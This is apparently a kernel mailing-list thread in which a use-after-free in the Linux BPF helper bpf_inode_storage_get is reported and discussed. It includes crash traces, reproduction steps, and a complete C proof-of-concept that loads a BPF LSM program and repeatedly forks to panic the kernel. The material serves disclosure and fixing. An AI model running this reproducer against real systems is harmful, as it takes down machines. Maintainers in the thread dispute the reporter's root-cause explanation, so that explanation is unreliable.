[   20.322243] RAX: 0000000000000000 RBX: 0000000000000820 RCX: 349d2ea07cf7b200
[   20.322797] RDX: 0000000000000000 RSI: ffffffff8419c980 RDI: ffff88810f558bc0
[   20.323353] RBP: ffffc900015c7bd0 R08: 0000000000000820 R09: ffffffffffffffff
[   20.323856] R10: 0000800000a00000 R11: ffff88810ffa3c60 R12: 0079726f6d656d3d
[   20.324402] R13: 0000000000000001 R14: 0000000000000000 R15: ffff888110d8a800
[   20.324907] FS:  00007fc500c01680(0000) GS:ffff88889aeb1000(0000)
knlGS:0000000000000000
[   20.325533] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   20.325967] CR2: 00007fc500ac1d80 CR3: 000000011448c003 CR4: 0000000000772ef0
[   20.326531] PKRU: 55555554
[   20.326744] Call Trace:
[   20.326938]  <TASK>
[   20.327114]  bpf_prog_7fbc899361679885+0x5b/0x64
[   20.327498]  bpf_trampoline_6442529490+0x58/0xed
[   20.327846]  security_file_alloc+0x68/0xa0
[   20.328165]  init_file+0x2e/0x150
[   20.328446]  alloc_empty_file+0x51/0x120
[   20.328746]  path_openat+0x4c/0xe80
[   20.329025]  ? fs_reclaim_acquire+0x5d/0xc0
[   20.329379]  do_filp_open+0xb6/0x160
[   20.329650]  ? lock_acquire+0xd4/0x260
[   20.329951]  ? alloc_fd+0x3c/0x1f0
[   20.330222]  ? alloc_fd+0x1ce/0x1f0
[   20.330540]  ? _raw_spin_unlock+0x1f/0x40
[   20.330846]  do_sys_openat2+0x70/0xd0
[   20.331151]  ? entry_SYSCALL_64_after_hwframe+0x76/0x7e
[   20.331571]  __x64_sys_openat+0x7c/0xa0
[   20.331855]  do_syscall_64+0x86/0x6f0
[   20.332128]  ? clear_bhb_loop+0x60/0xb0
[   20.332438]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
Quoted 548 lines

## Reproduction Steps

1.  **Map Creation**: Create a BPF map of type `BPF_MAP_TYPE_INODE_STORAGE`. This returns a file descriptor for the map, which is backed by an anonymous inode.
2.  **Program Setup**: Load a `BPF_PROG_TYPE_LSM` BPF program. The program should be written to call the `bpf_inode_storage_get()` helper, using the file descriptor of the map created in the previous step.
3.  **Link Creation**: Attach the LSM program to  `bpf_lsm_file_alloc_security`.
4.  **Trigger**: Exit the process that created the map. This implicitly closes the map's file descriptor, causing the backing `inode` to be freed. Concurrently, trigger the LSM hook (e.g., by creating a file in another process). The BPF program will execute and attempt to access the freed inode via `bpf_inode_storage_get()`, triggering the KASAN crash.

## Recommended Fix

The BPF subsystem should ensure that the inode associated with an inode_storage map remains valid as long as a BPF program holding a reference to that map is loaded. A potential fix is to increment the inode's reference count (i_count) when a BPF program using it is loaded (e.g., during bpf_map_get()) and decrement the count when the program is unloaded. This would prevent the inode from being prematurely freed while still in use by an attached BPF program.

## KASAN Report

```
[   57.905993][ T9899] ==================================================================
[   57.906324][ T9899] BUG: KASAN: slab-use-after-free in bpf_inode_storage_get+0x1db/0x200
[   57.906657][ T9899] Read of size 8 at addr ffff888109b8a300 by task poc/9899
[   57.906952][ T9899]
[   57.907053][ T9899] CPU: 0 UID: 0 PID: 9899 Comm: poc Not tainted 6.18.0-rc5-next-20251111 #6 PREEMPT(full)
[   57.907064][ T9899] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[   57.907068][ T9899] Call Trace:
[   57.907070][ T9899]  <TASK>
[   57.907072][ T9899]  dump_stack_lvl+0x116/0x1b0
[   57.907080][ T9899]  print_report+0xca/0x5f0
[   57.907088][ T9899]  ? __phys_addr+0xf0/0x180
[   57.907097][ T9899]  ? bpf_inode_storage_get+0x1db/0x200
[   57.907104][ T9899]  ? bpf_inode_storage_get+0x1db/0x200
[   57.907111][ T9899]  kasan_report+0xca/0x100
[   57.907119][ T9899]  ? bpf_inode_storage_get+0x1db/0x200
[   57.907128][ T9899]  bpf_inode_storage_get+0x1db/0x200
[   57.907136][ T9899]  bpf_prog_7fbc899361679885+0x63/0x6c
[   57.907141][ T9899]  bpf_trampoline_6442648864+0x58/0x141
[   57.907148][ T9899]  bpf_lsm_file_alloc_security+0x9/0x20
[   57.907157][ T9899]  security_file_alloc+0x146/0x2d0
[   57.907164][ T9899]  init_file+0x9a/0x4d0
[   57.907172][ T9899]  alloc_empty_file+0x78/0x1e0
[   57.907179][ T9899]  alloc_file_pseudo+0x130/0x220
[   57.907187][ T9899]  ? __pfx_alloc_file_pseudo+0x10/0x10
[   57.907194][ T9899]  ? _raw_spin_unlock+0x2d/0x50
[   57.907201][ T9899]  ? alloc_fd+0x3c2/0x780
[   57.907211][ T9899]  __anon_inode_getfile+0xed/0x290
[   57.907220][ T9899]  anon_inode_getfd+0x5b/0xb0
[   57.907228][ T9899]  map_create+0x1568/0x2720
[   57.907239][ T9899]  ? __pfx_map_create+0x10/0x10
[   57.907248][ T9899]  ? __might_fault+0xe5/0x190
[   57.907260][ T9899]  __sys_bpf+0x195f/0x5470
[   57.907269][ T9899]  ? __pfx___sys_bpf+0x10/0x10
[   57.907278][ T9899]  ? __handle_mm_fault+0x51c/0x2b80
[   57.907288][ T9899]  ? __lock_acquire+0x633/0x1be0
[   57.907296][ T9899]  ? css_rstat_updated+0x1c7/0x520
[   57.907304][ T9899]  ? __pfx_css_rstat_updated+0x10/0x10
[   57.907317][ T9899]  ? exc_page_fault+0xc2/0x1a0
[   57.907327][ T9899]  __x64_sys_bpf+0x7d/0xc0
[   57.907335][ T9899]  ? lockdep_hardirqs_on+0x7c/0x110
[   57.907342][ T9899]  do_syscall_64+0xcb/0xfa0
[   57.907349][ T9899]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   57.907355][ T9899] RIP: 0033:0x7f438e8a17d9
[   57.907360][ T9899] Code: 08 89 e8 5b 5d c3 66 2e 0f 1f 84 00 00 00 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c28
[   57.907367][ T9899] RSP: 002b:00007ffc9ccc1e48 EFLAGS: 00000206 ORIG_RAX: 0000000000000141
[   57.907373][ T9899] RAX: ffffffffffffffda RBX: 00007ffc9ccc20c8 RCX: 00007f438e8a17d9
[   57.907377][ T9899] RDX: 0000000000000040 RSI: 00007ffc9ccc1e70 RDI: 0000000000000000
[   57.907380][ T9899] RBP: 00007ffc9ccc1f00 R08: 0000000000000003 R09: 0000000000000000
[   57.907384][ T9899] R10: 0000000000000201 R11: 0000000000000206 R12: 0000000000000000
[   57.907387][ T9899] R13: 00007ffc9ccc20d8 R14: 0000556796cb4dd8 R15: 00007f438e9c2020
[   57.907396][ T9899]  </TASK>
[   57.907398][ T9899]
[   57.918793][ T9899] Allocated by task 1:
[   57.918993][ T9899]  kasan_save_stack+0x24/0x50
[   57.919221][ T9899]  kasan_save_track+0x14/0x30
[   57.919448][ T9899]  __kasan_slab_alloc+0x87/0x90
[   57.919691][ T9899]  kmem_cache_alloc_lru_noprof+0x294/0x7c0
[   57.919988][ T9899]  alloc_inode+0x187/0x250
[   57.920209][ T9899]  create_pipe_files+0x51/0x9d0
[   57.920448][ T9899]  do_pipe2+0x9c/0x1c0
[   57.920652][ T9899]  __x64_sys_pipe2+0x59/0x80
[   57.920883][ T9899]  do_syscall_64+0xcb/0xfa0
[   57.921107][ T9899]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   57.921395][ T9899]
[   57.921510][ T9899] Freed by task 9823:
[   57.921708][ T9899]  kasan_save_stack+0x24/0x50
[   57.921946][ T9899]  kasan_save_track+0x14/0x30
[   57.922176][ T9899]  kasan_save_free_info+0x3b/0x60
[   57.922421][ T9899]  __kasan_slab_free+0x61/0x80
[   57.922661][ T9899]  kmem_cache_free+0x167/0x680
[   57.922893][ T9899]  destroy_inode+0xcc/0x1b0
[   57.923115][ T9899]  evict+0x579/0xa90
[   57.923308][ T9899]  iput.part.0+0x7f9/0xf40
[   57.923530][ T9899]  iput+0x3a/0x40
[   57.923716][ T9899]  dentry_unlink_inode+0x29b/0x480
[   57.923971][ T9899]  __dentry_kill+0x1d7/0x600
[   57.924199][ T9899]  dput.part.0+0x4b5/0x9b0
[   57.924423][ T9899]  dput+0x24/0x30
[   57.924601][ T9899]  __fput+0x51b/0xb50
[   57.924801][ T9899]  fput_close_sync+0x114/0x210
[   57.925040][ T9899]  __x64_sys_close+0x93/0x120
[   57.925281][ T9899]  do_syscall_64+0xcb/0xfa0
[   57.925501][ T9899]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   57.925792][ T9899]
[   57.925906][ T9899] The buggy address belongs to the object at ffff888109b8a2c8
[   57.925906][ T9899]  which belongs to the cache inode_cache of size 1144
[   57.926566][ T9899] The buggy address is located 56 bytes inside of
[   57.926566][ T9899]  freed 1144-byte region [ffff888109b8a2c8, ffff888109b8a740)
[   57.927222][ T9899]
[   57.927337][ T9899] The buggy address belongs to the physical page:
[   57.927641][ T9899] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888109b8a2c8 pfn:0x109b88
[   57.928128][ T9899] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[   57.928533][ T9899] memcg:ffff8881000ac801
[   57.928737][ T9899] anon flags: 0x57ff00000000040(head|node=1|zone=2|lastcpupid=0x7ff)
[   57.929126][ T9899] page_type: f5(slab)
[   57.929321][ T9899] raw: 057ff00000000040 ffff888100050b40 0000000000000000 0000000000000001
[   57.929729][ T9899] raw: ffff888109b8a2c8 0000000000190017 00000000f5000000 ffff8881000ac801
[   57.930084][ T9899] head: 057ff00000000040 ffff888100050b40 0000000000000000 0000000000000001
[   57.930430][ T9899] head: ffff888109b8a2c8 0000000000190017 00000000f5000000 ffff8881000ac801
[   57.930776][ T9899] head: 057ff00000000003 ffffea000426e201 00000000ffffffff 00000000ffffffff
[   57.931125][ T9899] head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
[   57.931468][ T9899] page dumped because: kasan: bad access detected
[   57.931723][ T9899] page_owner tracks the page as allocated
[   57.931953][ T9899] page last allocated via order 3, migratetype Reclaimable, gfp_mask 0xd20d0(__GFP_RECLAIMABLE|__GFP_IO0
[   57.932835][ T9899]  post_alloc_hook+0x1be/0x230
[   57.933037][ T9899]  get_page_from_freelist+0x111c/0x3030
[   57.933266][ T9899]  __alloc_frozen_pages_noprof+0x25b/0x2130
[   57.933508][ T9899]  alloc_pages_mpol+0x1f6/0x550
[   57.933709][ T9899]  new_slab+0x256/0x370
[   57.933884][ T9899]  ___slab_alloc+0xc00/0x1710
[   57.934077][ T9899]  __slab_alloc.constprop.0+0x6b/0x120
[   57.934301][ T9899]  kmem_cache_alloc_lru_noprof+0x514/0x7c0
[   57.934540][ T9899]  alloc_inode+0x187/0x250
[   57.934722][ T9899]  iget_locked+0x1a4/0x6c0
[   57.934909][ T9899]  kernfs_get_inode+0x4b/0x470
[   57.935113][ T9899]  kernfs_iop_lookup+0x1a8/0x2e0
[   57.935350][ T9899]  __lookup_slow+0x256/0x480
[   57.935574][ T9899]  walk_component+0x34e/0x5b0
[   57.935806][ T9899]  path_lookupat+0x148/0x6c0
[   57.936043][ T9899]  filename_lookup+0x218/0x5f0
[   57.936276][ T9899] page_owner free stack trace missing
[   57.936533][ T9899]
[   57.936650][ T9899] Memory state around the buggy address:
[   57.936923][ T9899]  ffff888109b8a200: fb fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc
[   57.937312][ T9899]  ffff888109b8a280: fc fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb
[   57.937698][ T9899] >ffff888109b8a300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   57.938084][ T9899]                    ^
[   57.938286][ T9899]  ffff888109b8a380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   57.938672][ T9899]  ffff888109b8a400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   57.939056][ T9899] ==================================================================
[   57.939644][ T9899] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[   57.939995][ T9899] CPU: 0 UID: 0 PID: 9899 Comm: poc Not tainted 6.18.0-rc5-next-20251111 #6 PREEMPT(full)
[   57.940473][ T9899] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[   57.940912][ T9899] Call Trace:
[   57.941075][ T9899]  <TASK>
[   57.941217][ T9899]  dump_stack_lvl+0x3d/0x1b0
[   57.941438][ T9899]  vpanic+0x67e/0x710
[   57.941640][ T9899]  panic+0xc7/0xd0
[   57.941825][ T9899]  ? __pfx_panic+0x10/0x10
[   57.942056][ T9899]  ? preempt_schedule_common+0x44/0xb0
[   57.942329][ T9899]  ? bpf_inode_storage_get+0x1db/0x200
[   57.942602][ T9899]  ? preempt_schedule_thunk+0x16/0x30
[   57.942875][ T9899]  ? check_panic_on_warn+0x24/0xc0
[   57.943134][ T9899]  ? bpf_inode_storage_get+0x1db/0x200
[   57.943407][ T9899]  check_panic_on_warn+0xb6/0xc0
[   57.943652][ T9899]  ? bpf_inode_storage_get+0x1db/0x200
[   57.943920][ T9899]  end_report+0x107/0x170
[   57.944140][ T9899]  kasan_report+0xd8/0x100
[   57.944366][ T9899]  ? bpf_inode_storage_get+0x1db/0x200
[   57.944633][ T9899]  bpf_inode_storage_get+0x1db/0x200
[   57.944895][ T9899]  bpf_prog_7fbc899361679885+0x63/0x6c
[   57.945160][ T9899]  bpf_trampoline_6442648864+0x58/0x141
[   57.945424][ T9899]  bpf_lsm_file_alloc_security+0x9/0x20
[   57.945693][ T9899]  security_file_alloc+0x146/0x2d0
[   57.945948][ T9899]  init_file+0x9a/0x4d0
[   57.946155][ T9899]  alloc_empty_file+0x78/0x1e0
[   57.946393][ T9899]  alloc_file_pseudo+0x130/0x220
[   57.946642][ T9899]  ? __pfx_alloc_file_pseudo+0x10/0x10
[   57.946912][ T9899]  ? _raw_spin_unlock+0x2d/0x50
[   57.947145][ T9899]  ? alloc_fd+0x3c2/0x780
[   57.947358][ T9899]  __anon_inode_getfile+0xed/0x290
[   57.947609][ T9899]  anon_inode_getfd+0x5b/0xb0
[   57.947837][ T9899]  map_create+0x1568/0x2720
[   57.948065][ T9899]  ? __pfx_map_create+0x10/0x10
[   57.948306][ T9899]  ? __might_fault+0xe5/0x190
[   57.948539][ T9899]  __sys_bpf+0x195f/0x5470
[   57.948765][ T9899]  ? __pfx___sys_bpf+0x10/0x10
[   57.949007][ T9899]  ? __handle_mm_fault+0x51c/0x2b80
[   57.949275][ T9899]  ? __lock_acquire+0x633/0x1be0
[   57.949521][ T9899]  ? css_rstat_updated+0x1c7/0x520
[   57.949761][ T9899]  ? __pfx_css_rstat_updated+0x10/0x10
[   57.949994][ T9899]  ? exc_page_fault+0xc2/0x1a0
[   57.950194][ T9899]  __x64_sys_bpf+0x7d/0xc0
[   57.950381][ T9899]  ? lockdep_hardirqs_on+0x7c/0x110
[   57.950594][ T9899]  do_syscall_64+0xcb/0xfa0
[   57.950782][ T9899]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   57.951024][ T9899] RIP: 0033:0x7f438e8a17d9
[   57.951208][ T9899] Code: 08 89 e8 5b 5d c3 66 2e 0f 1f 84 00 00 00 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c28
[   57.951976][ T9899] RSP: 002b:00007ffc9ccc1e48 EFLAGS: 00000206 ORIG_RAX: 0000000000000141
[   57.952312][ T9899] RAX: ffffffffffffffda RBX: 00007ffc9ccc20c8 RCX: 00007f438e8a17d9
[   57.952628][ T9899] RDX: 0000000000000040 RSI: 00007ffc9ccc1e70 RDI: 0000000000000000
[   57.952947][ T9899] RBP: 00007ffc9ccc1f00 R08: 0000000000000003 R09: 0000000000000000
[   57.953263][ T9899] R10: 0000000000000201 R11: 0000000000000206 R12: 0000000000000000
[   57.953580][ T9899] R13: 00007ffc9ccc20d8 R14: 0000556796cb4dd8 R15: 00007f438e9c2020
[   57.953905][ T9899]  </TASK>
[   57.954362][ T9899] Kernel Offset: disabled
```

## Proof of Concept

The following C program can demonstrate the vulnerability on linux-next-20251111(commit 2666975a8905776d306bee01c5d98a0395bda1c9).

To successfully run the PoC, you need to obtain the BTF ID for bpf_lsm_file_alloc_security and set the variable btf_id in function load_prog to this value. You can retrieve this BTF ID using the following command: bpftool btf dump file path-to-your-vmlinux | grep bpf_lsm_file_alloc_security.

```c
#define _GNU_SOURCE

#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/bpf.h>

#ifndef __NR_bpf
#define __NR_bpf 321
#endif

#define BPF_FUNC_inode_storage_get 145
#define BPF_FUNC_inode_storage_delete 146

#define BPF_EXIT_INSN()                                         \
        ((struct bpf_insn) {                                    \
                .code  = BPF_JMP | BPF_EXIT,                    \
                .dst_reg = 0,                                   \
                .src_reg = 0,                                   \
                .off   = 0,                                     \
                .imm   = 0 })

#define BPF_MOV64_IMM(DST, IMM)                                 \
        ((struct bpf_insn) {                                    \
                .code  = BPF_ALU64 | BPF_MOV | BPF_K,           \
                .dst_reg = DST,                                 \
                .src_reg = 0,                                   \
                .off   = 0,                                     \
                .imm   = IMM })

#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)                        \
        ((struct bpf_insn) {                                    \
                .code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,    \
                .dst_reg = DST,                                 \
                .src_reg = SRC,                                 \
                .off   = OFF,                                   \
                .imm   = 0 })

#define BPF_LD_IMM64_RAW_FULL(DST, SRC, OFF1, OFF2, IMM1, IMM2) \
        ((struct bpf_insn) {                                    \
                .code  = BPF_LD | BPF_DW | BPF_IMM,             \
                .dst_reg = DST,                                 \
                .src_reg = SRC,                                 \
                .off   = OFF1,                                  \
                .imm   = IMM1 }),                               \
        ((struct bpf_insn) {                                    \
                .code  = 0, /* zero is reserved opcode */       \
                .dst_reg = 0,                                   \
                .src_reg = 0,                                   \
                .off   = OFF2,                                  \
                .imm   = IMM2 })

/* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */

#define BPF_LD_MAP_FD(DST, MAP_FD)                              \
        BPF_LD_IMM64_RAW_FULL(DST, BPF_PSEUDO_MAP_FD, 0, 0,     \
                              MAP_FD, 0)

#define BPF_MOV64_REG(DST, SRC)                                 \
        ((struct bpf_insn) {                                    \
                .code  = BPF_ALU64 | BPF_MOV | BPF_X,           \
                .dst_reg = DST,                                 \
                .src_reg = SRC,                                 \
                .off   = 0,                                     \
                .imm   = 0 })

#define BPF_EMIT_CALL(FUNC)                                     \
        ((struct bpf_insn) {                                    \
                .code  = BPF_JMP | BPF_CALL,                    \
                .dst_reg = 0,                                   \
                .src_reg = 0,                                   \
                .off   = 0,                                     \
                .imm   = ((FUNC) - BPF_FUNC_unspec) })


static unsigned long long procid;
static inline uint64_t ptr_to_u64(const void *ptr) {
    return (uint64_t)(unsigned long)ptr;
}

static void sleep_ms(uint64_t ms)
{
        usleep(ms * 1000);
}

static uint64_t current_time_ms(void)
{
        struct timespec ts;
        if (clock_gettime(CLOCK_MONOTONIC, &ts))
        exit(1);
        return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

#define BITMASK(bf_off,bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type,htobe,addr,val,bf_off,bf_len) *(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))

static bool write_file(const char* file, const char* what, ...)
{
        char buf[1024];
        va_list args;
        va_start(args, what);
        vsnprintf(buf, sizeof(buf), what, args);
        va_end(args);
        buf[sizeof(buf) - 1] = 0;
        int len = strlen(buf);
        int fd = open(file, O_WRONLY | O_CLOEXEC);
        if (fd == -1)
                return false;
        if (write(fd, buf, len) != len) {
                int err = errno;
                close(fd);
                errno = err;
                return false;
        }
        close(fd);
        return true;
}

static void kill_and_wait(int pid, int* status)
{
        kill(-pid, SIGKILL);
        kill(pid, SIGKILL);
        for (int i = 0; i < 100; i++) {
                if (waitpid(-1, status, WNOHANG | __WALL) == pid)
                        return;
                usleep(1000);
        }
        DIR* dir = opendir("/sys/fs/fuse/connections");
        if (dir) {
                for (;;) {
                        struct dirent* ent = readdir(dir);
                        if (!ent)
                                break;
                        if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
                                continue;
                        char abort[300];
                        snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name);
                        int fd = open(abort, O_WRONLY);
                        if (fd == -1) {
                                continue;
                        }
                        if (write(fd, abort, 1) < 0) {
                        }
                        close(fd);
                }
                closedir(dir);
        } else {
        }
        while (waitpid(-1, status, __WALL) != pid) {
        }
}

static void setup_test()
{
        prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
        setpgrp();
        write_file("/proc/self/oom_score_adj", "1000");
}

static void execute_one(void);

#define WAIT_FLAGS __WALL

static void loop(void)
{
        int iter = 0;
        for (;; iter++) {
                int pid = fork();
                if (pid < 0)
        exit(1);
                if (pid == 0) {
                        setup_test();
                        execute_one();
                        exit(0);
                }
                int status = 0;
                uint64_t start = current_time_ms();
                for (;;) {
                        sleep_ms(10);
                        if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
                                break;
                        if (current_time_ms() - start < 5000)
                                continue;
                        kill_and_wait(pid, &status);
                        break;
                }
        }
}

int create_btf_fd(){
    *(uint64_t*)0x200000000100 = 0x200000000000;
    *(uint16_t*)0x200000000000 = 0xeb9f;
    *(uint8_t*)0x200000000002 = 1;
    *(uint8_t*)0x200000000003 = 0;
    *(uint32_t*)0x200000000004 = 0x18;
    *(uint32_t*)0x200000000008 = 0;
    *(uint32_t*)0x20000000000c = 0x1c;
    *(uint32_t*)0x200000000010 = 0x1c;
    *(uint32_t*)0x200000000014 = 2;
    *(uint32_t*)0x200000000018 = 0;
    *(uint16_t*)0x20000000001c = 0;
    *(uint8_t*)0x20000000001e = 0;
    *(uint8_t*)0x20000000001f = 1;
    *(uint32_t*)0x200000000020 = 4;
    *(uint8_t*)0x200000000024 = 0x20;
    *(uint8_t*)0x200000000025 = 0;
    *(uint8_t*)0x200000000026 = 0;
    *(uint8_t*)0x200000000027 = 1;
    *(uint32_t*)0x200000000028 = 1;
    *(uint16_t*)0x20000000002c = 0;
    *(uint8_t*)0x20000000002e = 0;
    *(uint8_t*)0x20000000002f = 0x10;
    *(uint32_t*)0x200000000030 = 8;
    *(uint8_t*)0x200000000034 = 0;
    *(uint8_t*)0x200000000035 = 0;
    *(uint64_t*)0x200000000108 = 0;
    *(uint32_t*)0x200000000110 = 0x36;
    *(uint32_t*)0x200000000114 = 0;
    *(uint32_t*)0x200000000118 = 1;
    *(uint32_t*)0x20000000011c = 0;
    *(uint32_t*)0x200000000120 = 0;
    *(uint32_t*)0x200000000124 = 0;
    int res = syscall(__NR_bpf, /*cmd=*/0x12ul, /*arg=*/0x200000000100ul, /*size=*/0x28ul);
    return res;
}

int bpf_map_create(uint32_t map_type, uint32_t key_size, uint32_t value_size, unsigned int max_entries, unsigned int flags, unsigned int btf_id) {
        union bpf_attr attr = {.map_type = map_type,
        .key_size = key_size,
        .value_size = value_size,
        .max_entries = max_entries,
        .map_flags = flags,
        .map_extra = 0,
        .btf_fd=btf_id,
        .btf_key_type_id=1,
        .btf_value_type_id=1,
    };
        return syscall(__NR_bpf, 0, &attr, 0x40);
}

static int load_prog(struct bpf_insn *insns, size_t cnt) {
    int btf_id = 0; // change to valid btf of bpf_lsm_file_alloc_security
    if(btf_id == 0) {
        printf("Btf id is not available! \n");
        exit(0);
    }
    union bpf_attr attr = {
        .prog_type = 0x1d,
        .insns = ptr_to_u64(insns),
        .insn_cnt = cnt,
        .license = ptr_to_u64("GPL"),
        .attach_btf_id = btf_id,
        .expected_attach_type = BPF_LSM_MAC,
    };
    int prog_fd=syscall(__NR_bpf, 5, &attr, sizeof(attr));
    return prog_fd;
}

int link_create(int prog_fd, int target_fd, uint32_t attach_type)
{
        union bpf_attr attr = {
                .link_create.prog_fd = prog_fd,
                .link_create.target_fd = target_fd,
                .link_create.attach_type = attach_type,
        };

        return syscall(__NR_bpf, BPF_LINK_CREATE, &attr, sizeof(attr.link_create));
}

uint64_t r[4] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff};

void execute_one(void)
{
        intptr_t res = 0;
        if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}

        res = create_btf_fd();
        if (res != -1)
                r[0] = res;

        res = bpf_map_create(0x1c, 4, 4, 0, 0x201, r[0]);
        if (res != -1)
                r[1] = res;
        struct bpf_insn prog[] = {
            BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_1, 0),
            BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, 96),
            BPF_LD_MAP_FD(BPF_REG_1, r[1]),
            BPF_MOV64_REG(BPF_REG_2, BPF_REG_6),
            BPF_MOV64_IMM(BPF_REG_3, 0x0),
            BPF_MOV64_IMM(BPF_REG_4, 0x1),
            BPF_EMIT_CALL(BPF_FUNC_inode_storage_get),
            BPF_MOV64_IMM(BPF_REG_0, 0x0),
            BPF_EXIT_INSN()
        };
        res = load_prog(prog, sizeof(prog) / sizeof(prog[0]));
        printf("loaded prog %ld\n", res);
        if (res != -1)
            r[3] = res;
        link_create(r[3], 0, BPF_LSM_MAC);

}
int main(void)
{
        syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
        syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
        syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
        const char* reason;
        (void)reason;
        for (procid = 0; procid < 8; procid++) {
                if (fork() == 0) {
                        loop();
                }
        }
        sleep(1000000);
        return 0;
}

```

## Kernel Configuration Requirements for Reproduction

The vulnerability can be triggered with the kernel config in the attachment.

#2 lore raw
Quoted 21 lines · Amery Hung
Quoted 11 lines · 梅开彦

A use-after-free vulnerability was discovered in the bpf_inode_storage_get helper function. This flaw is caused by a race condition between the destruction of the anonymous inode that backs the map of type BPF_MAP_TYPE_INODE_STORAGE and the execution of a BPF program that attempts to access that inode.

## Root Cause

The use-after-free occurs due to improper lifecycle management of the anonymous inode associated with a BPF_MAP_TYPE_INODE_STORAGE map. The problem could be triggered through a race condition:

Quoted 7 lines
1.  A BPF program creates a map of type `BPF_MAP_TYPE_INODE_STORAGE`. The kernel allocates a file descriptor and an associated anonymous `inode` to serve as the backing storage.
2.  A BPF LSM program is loaded and attached to an LSM hook `bpf_lsm_file_alloc_security`. This program holds a reference to the `inode_storage` map.
3.  The process that created the map exits, causing the kernel to close its file descriptor. This decrements the reference count on the `inode`. When the reference count drops to zero, the `inode` is freed.
4.  When another process trys to create the map, the LSM hook is triggered, causing the attached BPF program to execute.
5.  The BPF program calls `bpf_inode_storage_get()`, passing a pointer to the now-freed `inode`. The function attempts to access fields within this freed memory region, leading to a use-after-free.

The fundamental problem is that the BPF program's reference to the bpf_map does not translate to a reference on the underlying inode. This allows the inode to be destroyed while it is still potentially in use by an active BPF program. The comment in the bpf_inode_storage_get function, /* This helper must only called from where the inode is guaranteed to have a refcount and cannot be freed. */, highlights this exact requirement, which is violated by the race condition.

Quoted 7 lines

Thanks for reporting. I found the root cause here a bit hard to follow, so I also ran your POC on a VM with bpf-next kernel and confirmed the kernel did panic.

However, the bug seems to me to be an uninitialized file->f_inode being passed to bpf_inode_storage_get() in bpf_lsm_file_alloc_security.

Thanks for the analysis.
That's not the first such problematic lsm hook.
Let's just add it to bpf_lsm_disabled_hooks[].

#3 lore raw
Quoted 27 lines · Alexei Starovoitov
Quoted 25 lines · Amery Hung
Quoted 11 lines · 梅开彦

A use-after-free vulnerability was discovered in the bpf_inode_storage_get helper function. This flaw is caused by a race condition between the destruction of the anonymous inode that backs the map of type BPF_MAP_TYPE_INODE_STORAGE and the execution of a BPF program that attempts to access that inode.

## Root Cause

The use-after-free occurs due to improper lifecycle management of the anonymous inode associated with a BPF_MAP_TYPE_INODE_STORAGE map. The problem could be triggered through a race condition:

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1.  A BPF program creates a map of type `BPF_MAP_TYPE_INODE_STORAGE`. The kernel allocates a file descriptor and an associated anonymous `inode` to serve as the backing storage.
2.  A BPF LSM program is loaded and attached to an LSM hook `bpf_lsm_file_alloc_security`. This program holds a reference to the `inode_storage` map.
3.  The process that created the map exits, causing the kernel to close its file descriptor. This decrements the reference count on the `inode`. When the reference count drops to zero, the `inode` is freed.
4.  When another process trys to create the map, the LSM hook is triggered, causing the attached BPF program to execute.
5.  The BPF program calls `bpf_inode_storage_get()`, passing a pointer to the now-freed `inode`. The function attempts to access fields within this freed memory region, leading to a use-after-free.

